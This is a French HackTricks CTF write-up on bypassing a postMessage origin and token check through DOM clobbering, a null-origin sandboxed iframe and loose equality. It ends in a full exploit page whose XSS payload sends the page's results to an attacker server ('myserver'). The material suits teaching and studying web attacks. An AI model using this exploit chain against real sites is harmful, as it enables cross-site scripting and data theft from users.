hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

7 KiB

Contournement de la SOP avec les Iframes - 2

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Iframes dans la SOP-2

Dans la solution de ce défi, @Strellic_ propose une méthode similaire à la section précédente. Vérifions cela.

Dans ce défi, l'attaquant doit contourner ceci:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Si c'est le cas, il peut envoyer un postmessage avec du contenu HTML qui sera écrit dans la page avec innerHTML sans assainissement (XSS).

La façon de contourner le premier contrôle est de définir window.calc.contentWindow sur undefined et e.source sur null :

  • window.calc.contentWindow est en fait document.getElementById("calc"). Vous pouvez écraser document.getElementById avec <img name=getElementById /> (notez que l'API Sanitizer -ici- n'est pas configurée pour protéger contre les attaques de substitution de DOM dans son état par défaut).
  • Par conséquent, vous pouvez écraser document.getElementById("calc") avec <img name=getElementById /><div id=calc></div>. Ensuite, window.calc sera undefined.
  • Maintenant, nous devons faire en sorte que e.source soit undefined ou null (car == est utilisé au lieu de ===, null == undefined est True). Obtenir cela est "facile". Si vous créez un iframe et envoyez un postMessage depuis celui-ci et retirez immédiatement l'iframe, e.origin sera null. Vérifiez le code suivant
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

Pour contourner le deuxième contrôle concernant le jeton, il suffit d'envoyer token avec la valeur null et de définir la valeur de window.token sur undefined :

  • Envoyer token dans le postMessage avec la valeur null est trivial.
  • window.token appelle la fonction getCookie qui utilise document.cookie. Notez que tout accès à document.cookie dans les pages d'origine null déclenche une erreur. Cela fera en sorte que window.token ait la valeur undefined.

La solution finale proposée par @terjanq est la suivante:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥